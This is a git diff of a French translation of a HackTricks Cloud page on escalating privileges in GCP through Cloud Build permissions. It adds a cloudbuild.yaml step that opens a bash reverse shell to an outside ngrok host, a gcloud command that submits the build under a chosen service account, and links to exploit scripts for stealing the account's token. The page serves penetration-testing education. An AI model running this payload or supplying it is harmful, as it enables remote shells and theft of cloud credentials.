mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -12,18 +12,30 @@ Pour plus d'informations sur Cloud Build, consultez :
|
||||
|
||||
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Avec cette permission, vous pouvez **soumettre un cloud build**. La machine cloudbuild aura dans son système de fichiers par **défaut un token du Service Account cloudbuild** : `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Cependant, vous pouvez **indiquer n'importe quel service account à l'intérieur du projet** dans la configuration cloudbuild.\
|
||||
Par conséquent, vous pouvez simplement faire exfiltrer le token vers votre serveur ou **obtenir un reverse shell à l'intérieur et récupérer le token** (le fichier contenant le token peut changer).
|
||||
Avec cette permission, vous pouvez **soumettre un cloud build**. La machine cloudbuild aura dans son système de fichiers par **défaut un token du Service Account cloudbuild** : `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Cependant, vous pouvez **indiquer n'importe quel compte de service à l'intérieur du projet** dans la configuration cloudbuild.\
|
||||
Par conséquent, vous pouvez simplement faire exfiltrer le token vers votre serveur ou **obtenir un shell inversé à l'intérieur et récupérer le token** (le fichier contenant le token peut changer).
|
||||
|
||||
Vous pouvez trouver le script d'exploitation original [**ici sur GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (mais l'emplacement d'où il prend le token n'a pas fonctionné pour moi). Par conséquent, consultez un script pour automatiser la [**création, l'exploitation et le nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) et un script python pour obtenir un reverse shell à l'intérieur de la machine cloudbuild et [**le voler ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (dans le code, vous pouvez trouver comment spécifier d'autres service accounts)**.**
|
||||
#### Exploitation directe via gcloud CLI
|
||||
|
||||
1- Créez `cloudbuild.yaml` et modifiez-le avec vos données d'écoute.
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
script: |
|
||||
#!/usr/bin/env bash
|
||||
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
2- Téléchargez une build simple sans source, le fichier yaml et spécifiez le SA à utiliser pour la build :
|
||||
```bash
|
||||
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
|
||||
```
|
||||
#### Utilisation de la bibliothèque python gcloud
|
||||
Vous pouvez trouver le script d'exploitation original [**ici sur GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (mais l'emplacement d'où il prend le token n'a pas fonctionné pour moi). Par conséquent, vérifiez un script pour automatiser la [**création, l'exploitation et le nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) et un script python pour obtenir un shell inversé à l'intérieur de la machine cloudbuild et [**le voler ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (dans le code, vous pouvez trouver comment spécifier d'autres comptes de service)**.**
|
||||
|
||||
Pour une explication plus approfondie, visitez [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
|
||||
### `cloudbuild.builds.update`
|
||||
|
||||
**Potentiellement**, avec cette permission, vous serez en mesure de **mettre à jour un cloud build et simplement voler le token du service account** comme cela a été effectué avec la permission précédente (mais malheureusement, au moment de la rédaction de ce document, je n'ai pas pu trouver de moyen d'appeler cette API).
|
||||
|
||||
TODO
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
|
||||
Reference in New Issue
Block a user